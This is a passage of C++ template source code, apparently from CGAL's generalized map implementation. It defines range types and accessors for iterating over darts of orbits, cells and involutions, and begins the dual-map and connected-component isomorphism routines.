int B6=-1,int B7=-1,int B8=-1,int B9=-1>
struct Dart_of_orbit_range: public CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,B8,B9>,
CGAL::GMap_dart_const_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,B8,B9> >
{
typedef CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,
B8,B9>,
CGAL::GMap_dart_const_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,
B8,B9> >
Base;
Dart_of_orbit_range(Self &amap, Dart_handle adart):
Base(amap, adart)
{}
};
//**************************************************************************
// Dart_of_orbit_const_range
template<int B1=-1,int B2=-1,int B3=-1,int B4=-1,int B5=-1,
int B6=-1,int B7=-1,int B8=-1,int B9=-1>
struct Dart_of_orbit_const_range: public CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,
B8,B9> >
{
typedef CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_of_orbit
<Self,B1,B2,B3,B4,B5,B6,B7,B8,B9> > Base;
Dart_of_orbit_const_range(const Self &amap, Dart_const_handle adart):
Base(amap, adart)
{}
};
//**************************************************************************
/// @return a range on all the darts of the given orbit
Dart_of_orbit_range<> darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1>
Dart_of_orbit_range<B1> darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<B1>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2>
Dart_of_orbit_range<B1,B2> darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<B1,B2>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3>
Dart_of_orbit_range<B1,B2,B3> darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<B1,B2,B3>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4>
Dart_of_orbit_range<B1,B2,B3,B4> darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<B1,B2,B3,B4>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5>
Dart_of_orbit_range<B1,B2,B3,B4,B5> darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<B1,B2,B3,B4,B5>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6>
Dart_of_orbit_range<B1,B2,B3,B4,B5,B6> darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<B1,B2,B3,B4,B5,B6>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7>
Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7> darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8>
Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7,B8> darts_of_orbit
(Dart_handle adart)
{ return Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7,B8>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8,
unsigned int B9>
Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7,B8,B9>
darts_of_orbit(Dart_handle adart)
{ return Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7,B8,B9>(*this,adart); }
//--------------------------------------------------------------------------
// Const versions.
Dart_of_orbit_const_range<> darts_of_orbit(Dart_const_handle adart) const
{ return Dart_of_orbit_const_range<>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1>
Dart_of_orbit_const_range<B1> darts_of_orbit(Dart_const_handle
adart) const
{ return Dart_of_orbit_const_range<B1>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2>
Dart_of_orbit_const_range<B1,B2> darts_of_orbit(Dart_const_handle
adart) const
{ return Dart_of_orbit_const_range<B1,B2>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3>
Dart_of_orbit_const_range<B1,B2,B3> darts_of_orbit
(Dart_const_handle adart) const
{ return Dart_of_orbit_const_range<B1,B2,B3>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4>
Dart_of_orbit_const_range<B1,B2,B3,B4>
darts_of_orbit(Dart_const_handle adart) const
{ return Dart_of_orbit_const_range<B1,B2,B3,B4>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5>
Dart_of_orbit_const_range<B1,B2,B3,B4,B5>
darts_of_orbit(Dart_const_handle adart) const
{ return Dart_of_orbit_const_range<B1,B2,B3,B4,B5>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6>
Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6>
darts_of_orbit(Dart_const_handle adart) const
{ return Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7>
Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7>
darts_of_orbit(Dart_const_handle adart) const
{ return Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8>
Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7,B8>
darts_of_orbit(Dart_const_handle adart) const
{ return Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7,B8>(*this,adart); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8,
unsigned int B9>
Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7,B8,B9>
darts_of_orbit(Dart_const_handle adart) const
{ return Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7,B8,B9>
(*this,adart); }
//--------------------------------------------------------------------------
// Basic versions
Dart_of_orbit_basic_range<> darts_of_orbit_basic(Dart_handle adart,
size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<>(*this,adart,amark); }
//--------------------------------------------------------------------------
Dart_of_orbit_basic_const_range<> darts_of_orbit_basic
(Dart_const_handle adart,size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1>
Dart_of_orbit_basic_range<B1> darts_of_orbit_basic(Dart_handle adart,
size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<B1>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1>
Dart_of_orbit_basic_const_range<B1> darts_of_orbit_basic
(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<B1>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2>
Dart_of_orbit_basic_range<B1,B2> darts_of_orbit_basic(Dart_handle adart,
size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<B1,B2>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2>
Dart_of_orbit_basic_const_range<B1,B2> darts_of_orbit_basic
(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<B1,B2>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3>
Dart_of_orbit_basic_range<B1,B2,B3> darts_of_orbit_basic(Dart_handle adart,
size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<B1,B2,B3>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3>
Dart_of_orbit_basic_const_range<B1,B2,B3> darts_of_orbit_basic
(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<B1,B2,B3>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4>
Dart_of_orbit_basic_range<B1,B2,B3,B4> darts_of_orbit_basic
(Dart_handle adart, size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<B1,B2,B3,B4>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4>
Dart_of_orbit_basic_const_range<B1,B2,B3,B4>
darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<B1,B2,B3,B4>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5>
Dart_of_orbit_basic_range<B1,B2,B3,B4,B5> darts_of_orbit_basic
(Dart_handle adart, size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5>
Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5>
darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5>
(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6>
Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6> darts_of_orbit_basic
(Dart_handle adart, size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6>(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6>
Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6>
darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6>
(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7>
Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7> darts_of_orbit_basic
(Dart_handle adart, size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7>
(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7>
Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7>
darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7>
(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8>
Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7,B8> darts_of_orbit
(Dart_handle adart, size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7,B8>
(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8>
Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7,B8>
darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7,B8>
(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8,
unsigned int B9>
Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7,B8,B9>
darts_of_orbit_basic(Dart_handle adart, size_type amark=INVALID_MARK)
{ return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7,B8,B9>
(*this,adart,amark); }
//--------------------------------------------------------------------------
template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4,
unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8,
unsigned int B9>
Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7,B8,B9>
darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7,B8,B9>
(*this,adart,amark); }
//**************************************************************************
#endif //CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES
//**************************************************************************
// Dart_of_cell_basic_range
template<unsigned int i,int dim=Self::dimension>
struct Dart_of_cell_basic_range: public CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_basic_of_cell<Self,i,dim>,
CGAL::GMap_dart_const_iterator_basic_of_cell<Self,i,dim> >
{
typedef CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_basic_of_cell<Self,i,dim>,
CGAL::GMap_dart_const_iterator_basic_of_cell<Self,i,dim> > Base;
Dart_of_cell_basic_range(Self &amap, Dart_handle adart, size_type amark=INVALID_MARK) :
Base(amap, adart, amark)
{}
};
//**************************************************************************
// Dart_of_cell_basic_const_range
template<unsigned int i,int dim=Self::dimension>
struct Dart_of_cell_basic_const_range: public CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_basic_of_cell<Self,i,dim> >
{
typedef CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_basic_of_cell<Self,i,dim> > Base;
Dart_of_cell_basic_const_range(const Self &amap, Dart_const_handle adart,
size_type amark=INVALID_MARK) :
Base(amap, adart, amark)
{}
};
//**************************************************************************
// Dart_of_cell_range
template<unsigned int i,int dim=Self::dimension>
struct Dart_of_cell_range: public CGAL::CMap_range
<Self,GMap_dart_iterator_of_cell<Self,i,dim>,
CGAL::GMap_dart_const_iterator_of_cell<Self,i,dim> >
{
typedef CGAL::CMap_range
<Self,GMap_dart_iterator_of_cell<Self,i,dim>,
CGAL::GMap_dart_const_iterator_of_cell<Self,i,dim> > Base;
Dart_of_cell_range(Self &amap, Dart_handle adart) :
Base(amap, adart)
{}
};
//**************************************************************************
// Dart_of_cell_const_range
template<unsigned int i,int dim=Self::dimension>
struct Dart_of_cell_const_range: public CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_of_cell<Self,i,dim> >
{
typedef CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_of_cell<Self,i,dim> > Base;
Dart_of_cell_const_range(const Self &amap, Dart_const_handle adart) :
Base(amap, adart)
{}
};
//--------------------------------------------------------------------------
/// @return a range on all the darts of the given i-cell
template<unsigned int i, int dim>
Dart_of_cell_basic_range<i,dim> darts_of_cell_basic(Dart_handle adart,
size_type amark=INVALID_MARK)
{ return Dart_of_cell_basic_range<i,dim>(*this,adart,amark); }
//--------------------------------------------------------------------------
template<unsigned int i, int dim>
Dart_of_cell_basic_const_range<i,dim> darts_of_cell_basic
(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_cell_basic_const_range<i,dim>(*this,adart,amark); }
//--------------------------------------------------------------------------
template<unsigned int i>
Dart_of_cell_basic_range<i,Self::dimension>
darts_of_cell_basic(Dart_handle adart, size_type amark=INVALID_MARK)
{ return darts_of_cell_basic<i,Self::dimension>(adart,amark); }
//--------------------------------------------------------------------------
template<unsigned int i>
Dart_of_cell_basic_const_range<i,Self::dimension>
darts_of_cell_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return darts_of_cell_basic<i,Self::dimension>(adart,amark); }
//--------------------------------------------------------------------------
template<unsigned int i, int dim>
Dart_of_cell_range<i,dim> darts_of_cell(Dart_handle adart)
{ return Dart_of_cell_range<i,dim>(*this,adart); }
//--------------------------------------------------------------------------
template<unsigned int i, int dim>
Dart_of_cell_const_range<i,dim> darts_of_cell(Dart_const_handle adart) const
{ return Dart_of_cell_const_range<i,dim>(*this,adart); }
//--------------------------------------------------------------------------
template<unsigned int i>
Dart_of_cell_range<i,Self::dimension> darts_of_cell(Dart_handle adart)
{ return darts_of_cell<i,Self::dimension>(adart); }
//--------------------------------------------------------------------------
template<unsigned int i>
Dart_of_cell_const_range<i,Self::dimension>
darts_of_cell(Dart_const_handle adart) const
{ return darts_of_cell<i,Self::dimension>(adart); }
//**************************************************************************
// Dart_of_involution_basic_range
template<unsigned int i,int dim=Self::dimension>
struct Dart_of_involution_basic_range: public CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_basic_of_involution<Self,i,dim>,
CGAL::GMap_dart_const_iterator_basic_of_involution<Self,i,dim> >
{
typedef CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_basic_of_involution<Self,i,dim>,
CGAL::GMap_dart_const_iterator_basic_of_involution<Self,i,dim> > Base;
Dart_of_involution_basic_range(Self &amap, Dart_handle adart,
size_type amark=INVALID_MARK):
Base(amap, adart, amark)
{}
};
//**************************************************************************
// Dart_of_involution_basic_const_range
template<unsigned int i,int dim=Self::dimension>
struct Dart_of_involution_basic_const_range: public CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_basic_of_involution<Self,i,dim> >
{
typedef CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_basic_of_involution<Self,i,dim> >
Base;
Dart_of_involution_basic_const_range(const Self &amap,
Dart_const_handle adart,
size_type amark=INVALID_MARK) :
Base(amap, adart, amark)
{}
};
//**************************************************************************
template<unsigned int i,int dim>
Dart_of_involution_basic_range<i,dim>
darts_of_involution_basic(Dart_handle adart, size_type amark=INVALID_MARK)
{ return Dart_of_involution_basic_range<i,dim>(*this,adart,amark); }
//--------------------------------------------------------------------------
template<unsigned int i,int dim>
Dart_of_involution_basic_const_range<i,dim>
darts_of_involution_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_involution_basic_const_range<i,dim>(*this,adart,amark); }
//--------------------------------------------------------------------------
template<unsigned int i>
Dart_of_involution_basic_range<i,Self::dimension>
darts_of_involution_basic(Dart_handle adart, size_type amark=INVALID_MARK)
{ return Dart_of_involution_basic_range<i,Self::dimension>
(*this,adart,amark); }
//--------------------------------------------------------------------------
template<unsigned int i>
Dart_of_involution_basic_const_range<i,Self::dimension>
darts_of_involution_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const
{ return Dart_of_involution_basic_const_range<i,Self::dimension>
(*this,adart,amark); }
//**************************************************************************
// Dart_of_involution_range
template<unsigned int i,int dim=Self::dimension>
struct Dart_of_involution_range: public CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_of_involution<Self,i,dim>,
CGAL::GMap_dart_const_iterator_of_involution<Self,i,dim> >
{
typedef CGAL::CMap_range
<Self, CGAL::GMap_dart_iterator_of_involution<Self,i,dim>,
CGAL::GMap_dart_const_iterator_of_involution<Self,i,dim> > Base;
Dart_of_involution_range(Self &amap, Dart_handle adart) :
Base(amap, adart)
{}
};
//**************************************************************************
// Dart_of_involution_const_range
template<unsigned int i,int dim=Self::dimension>
struct Dart_of_involution_const_range: public CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_of_involution<Self,i,dim> >
{
typedef CMap_const_range
<Self, CGAL::GMap_dart_const_iterator_of_involution<Self,i,dim> > Base;
Dart_of_involution_const_range(const Self &amap,
Dart_const_handle adart):
Base(amap, adart)
{}
};
//**************************************************************************
template<unsigned int i,int dim>
Dart_of_involution_range<i,dim>
darts_of_involution(Dart_handle adart)
{ return Dart_of_involution_range<i,dim>(*this,adart); }
//--------------------------------------------------------------------------
template<unsigned int i,int dim>
Dart_of_involution_const_range<i,dim>
darts_of_involution(Dart_const_handle adart) const
{ return Dart_of_involution_const_range<i,dim>(*this,adart); }
//--------------------------------------------------------------------------
template<unsigned int i>
Dart_of_involution_range<i,Self::dimension>
darts_of_involution(Dart_handle adart)
{ return Dart_of_involution_range<i,Self::dimension>(*this,adart); }
//--------------------------------------------------------------------------
template<unsigned int i>
Dart_of_involution_const_range<i,Self::dimension>
darts_of_involution(Dart_const_handle adart) const
{ return Dart_of_involution_const_range<i,Self::dimension>(*this,adart); }
//**************************************************************************
// Dart_basic_range
struct Dart_basic_range {
typedef CGAL::GMap_dart_iterator_basic_of_all<Self> iterator;
typedef CGAL::GMap_dart_const_iterator_basic_of_all<Self> const_iterator;
Dart_basic_range(Self &amap) : mmap(amap)
{}
iterator begin() { return iterator(mmap); }
iterator end() { return iterator(mmap,mmap.null_handle); }
const_iterator begin() const { return const_iterator(mmap); }
const_iterator end() const { return const_iterator(mmap,mmap.null_handle); }
size_type size() const
{ return mmap.number_of_darts(); }
bool empty() const
{ return mmap.is_empty(); }
private:
Self & mmap;
};
//**************************************************************************
// Dart_basic_const_range
struct Dart_basic_const_range {
typedef CGAL::GMap_dart_const_iterator_basic_of_all<Self> const_iterator;
Dart_basic_const_range(Self &amap) : mmap(amap)
{}
const_iterator begin() const { return const_iterator(mmap); }
const_iterator end() const { return const_iterator(mmap,mmap.null_handle); }
size_type size() const
{ return mmap.number_of_darts(); }
bool empty() const
{ return mmap.is_empty(); }
private:
const Self & mmap;
};
//**************************************************************************
Dart_basic_range darts_basic()
{ return Dart_basic_range(*this); }
//--------------------------------------------------------------------------
Dart_basic_const_range darts_basic() const
{ return Dart_basic_const_range(*this); }
//**************************************************************************
// One_dart_per_incident_cell_range
template<unsigned int i,unsigned int j,int dim=Self::dimension>
struct One_dart_per_incident_cell_range: public CGAL::CMap_range
<Self, CGAL::GMap_one_dart_per_incident_cell_iterator<Self,i,j,dim>,
CGAL::GMap_one_dart_per_incident_cell_const_iterator<Self,i,j,dim> >
{
typedef CGAL::CMap_range
<Self, CGAL::GMap_one_dart_per_incident_cell_iterator<Self,i,j,dim>,
CGAL::GMap_one_dart_per_incident_cell_const_iterator<Self,i,j,dim> >
Base;
One_dart_per_incident_cell_range(Self &amap, Dart_handle adart):
Base(amap, adart)
{}
};
//**************************************************************************
// One_dart_per_incident_cell_const_range
template<unsigned int i,unsigned int j,int dim=Self::dimension>
struct One_dart_per_incident_cell_const_range: public CMap_const_range
<Self, CGAL::GMap_one_dart_per_incident_cell_const_iterator<Self,i,j,dim> >
{
typedef CMap_const_range
<Self, CGAL::GMap_one_dart_per_incident_cell_const_iterator
<Self,i,j,dim> > Base;
One_dart_per_incident_cell_const_range(const Self &amap,
Dart_const_handle adart) :
Base(amap, adart)
{}
};
//**************************************************************************
// One_dart_per_cell_range
template<unsigned int i,int dim=Self::dimension>
struct One_dart_per_cell_range {
typedef CGAL::GMap_one_dart_per_cell_iterator<Self,i,dim> iterator;
typedef CGAL::GMap_one_dart_per_cell_const_iterator<Self,i,dim>
const_iterator;
One_dart_per_cell_range(Self &amap) : mmap(amap), msize(0)
{}
iterator begin() { return iterator(mmap); }
iterator end() { return iterator(mmap,mmap.null_handle); }
const_iterator begin() const { return const_iterator(mmap); }
const_iterator end() const { return const_iterator(mmap,mmap.null_handle); }
size_type size() const
{
if (msize==0)
for ( const_iterator it=begin(), itend=end(); it!=itend; ++it)
++msize;
return msize;
}
bool empty() const
{ return mmap.is_empty(); }
private:
Self & mmap;
mutable size_type msize;
};
//**************************************************************************
// One_dart_per_cell_const_range
template<unsigned int i,int dim=Self::dimension>
struct One_dart_per_cell_const_range {
typedef CGAL::GMap_one_dart_per_cell_const_iterator<Self,i,dim>
const_iterator;
One_dart_per_cell_const_range(const Self &amap) : mmap(amap), msize(0)
{}
const_iterator begin() const { return const_iterator(mmap); }
const_iterator end() const { return const_iterator(mmap,mmap.null_handle); }
size_type size() const
{
if (msize==0)
for ( const_iterator it=begin(), itend=end(); it!=itend; ++it)
++msize;
return msize;
}
bool empty() const
{ return mmap.is_empty(); }
private:
const Self & mmap;
mutable size_type msize;
};
//**************************************************************************
/// @return a range on the i-cells incindent to the given j-cell.
template<unsigned int i, unsigned int j, int dim>
One_dart_per_incident_cell_range<i,j,dim>
one_dart_per_incident_cell(Dart_handle adart)
{ return One_dart_per_incident_cell_range<i,j,dim>(*this,adart); }
//--------------------------------------------------------------------------
template<unsigned int i, unsigned int j, int dim>
One_dart_per_incident_cell_const_range<i,j,dim>
one_dart_per_incident_cell(Dart_const_handle adart) const
{ return One_dart_per_incident_cell_const_range<i,j,dim>(*this,adart); }
//--------------------------------------------------------------------------
template<unsigned int i, unsigned int j>
One_dart_per_incident_cell_range<i,j,Self::dimension>
one_dart_per_incident_cell(Dart_handle adart)
{ return one_dart_per_incident_cell<i,j,Self::dimension>(adart); }
//--------------------------------------------------------------------------
template<unsigned int i, unsigned int j>
One_dart_per_incident_cell_const_range<i,j,Self::dimension>
one_dart_per_incident_cell(Dart_const_handle adart) const
{ return one_dart_per_incident_cell<i,j,Self::dimension>(adart); }
//--------------------------------------------------------------------------
/// @return a range on all the i-cells
template<unsigned int i, int dim>
One_dart_per_cell_range<i,dim> one_dart_per_cell()
{ return One_dart_per_cell_range<i,dim>(*this); }
//--------------------------------------------------------------------------
template<unsigned int i, int dim>
One_dart_per_cell_const_range<i,dim> one_dart_per_cell() const
{ return One_dart_per_cell_const_range<i,dim>(*this); }
//--------------------------------------------------------------------------
template<unsigned int i>
One_dart_per_cell_range<i,Self::dimension> one_dart_per_cell()
{ return one_dart_per_cell<i,Self::dimension>(); }
//--------------------------------------------------------------------------
template<unsigned int i>
One_dart_per_cell_const_range<i,Self::dimension> one_dart_per_cell() const
{ return one_dart_per_cell<i,Self::dimension>(); }
//--------------------------------------------------------------------------
public:
/** Compute the dual of a Generalized_map.
* @param amap the gmap in which we build the dual of this map.
* @param adart a dart of the initial map, NULL by default.
* @return adart of the dual map, the dual of adart if adart!=NULL,
* any dart otherwise.
* As soon as we don't modify this map and amap map, we can iterate
* simultaneously through all the darts of the two maps and we have
* each time of the iteration two "dual" darts.
*/
Dart_handle dual(Self& amap, Dart_handle adart=null_handle)
{
CGAL_assertion( is_without_boundary(dimension) );
CGAL::Unique_hash_map< Dart_handle, Dart_handle,
typename Self::Hash_function > dual;
Dart_handle d, d2, res = amap.null_handle;
// We clear amap. TODO return a new amap ?
amap.clear();
// We create a copy of all the dart of the map.
for ( typename Dart_range::iterator it=darts().begin();
it!=darts().end(); ++it)
{
dual[it] = amap.create_dart();
internal::Copy_dart_info_functor<Refs, Refs>::
run(static_cast<Refs&>(amap), static_cast<Refs&>(*this),
it, dual[it]);
if ( it==adart && res==amap.null_handle ) res = dual[it];
}
// Then we link the darts by using the dual formula :
// G(B,a0,a1,...,a(n-1),an) =>
// dual(G)=(B, an, a(n-1),...,a1, a0)
// We suppose darts are run in the same order for both maps.
typename Dart_range::iterator it2=amap.darts().begin();
for ( typename Dart_range::iterator it=darts().begin();
it!=darts().end(); ++it, ++it2)
{
d = it2; // The supposition on the order allows to avoid d=dual[it];
CGAL_assertion( it2==dual[it] );
for ( unsigned int i=0; i<=dimension; ++i)
{
if ( !is_free(it, i) && amap.is_free(d,dimension-i) )
amap.basic_link_alpha(d, dual[alpha(it, i)], dimension-i);
}
}
// CGAL_postcondition(amap2.is_valid());
if ( res==amap.null_handle ) res = amap.darts().begin();
return res;
}
/** Test if the connected component of gmap containing dart dh1 is
* isomorphic to the connected component of map2 containing dart dh2,
* starting from dh1 and dh2.
* @param dh1 initial dart for this map
* @param map2 the second generalized map
* @param dh2 initial dart for map2
* @param testDartInfo Boolean to test the equality of dart info (true)
* or not (false)
* @param testAttributes Boolean to test the equality of attributes (true)
* or not (false)
* @param testPoint Boolean to test the equality of points (true)
* or not (false) (used for LCC)
* @return true iff the cc of map is isomorphic to the cc of map2 starting
* from dh1 and dh2; by testing the equality of dartinfo and/or
* attributes and/or points.
*/
template <unsigned int d2, typename Refs2, typename Items2, class Alloc2,
class Storage2>
bool are_cc_isomorphic(Dart_const_handle dh1,
const Generalized_map_base
<d2,Refs2,Items2,Alloc2, Storage2>& map2,
typename Generalized_map_base
<d2,Refs2,Items2,Alloc2, Storage2>::Dart_const_handle dh2,
bool testDartInfo=true,
bool testAttributes=true,
bool testPoint=true) const
{
typedef Generalized_map_base<d2,Refs2,Items2,Alloc2, Storage2> Map2;
bool match = true;
// Two stacks used to run through the two maps.
std::deque< Dart_const_handle > toTreat1;
std::deque< typename Map2::Dart_const_handle > toTreat2;
// A dart of this map is marked with m1 if its bijection was set
// (and similarly for mark m2 and darts of map2)
size_type m1 = get_new_mark();
size_type m2 = map2.get_new_mark();
// A dart of this map is marked with markpush if it was already pushed
// in the queue toTreat1.
size_type markpush = get_new_mark();
toTreat1.push_back(dh1);
toTreat2.push_back(dh2);
Dart_const_handle current;
typename Map2::Dart_const_handle other;
unsigned int i = 0;
CGAL::Unique_hash_map<Dart_const_handle,
typename Map2::Dart_const_handle,
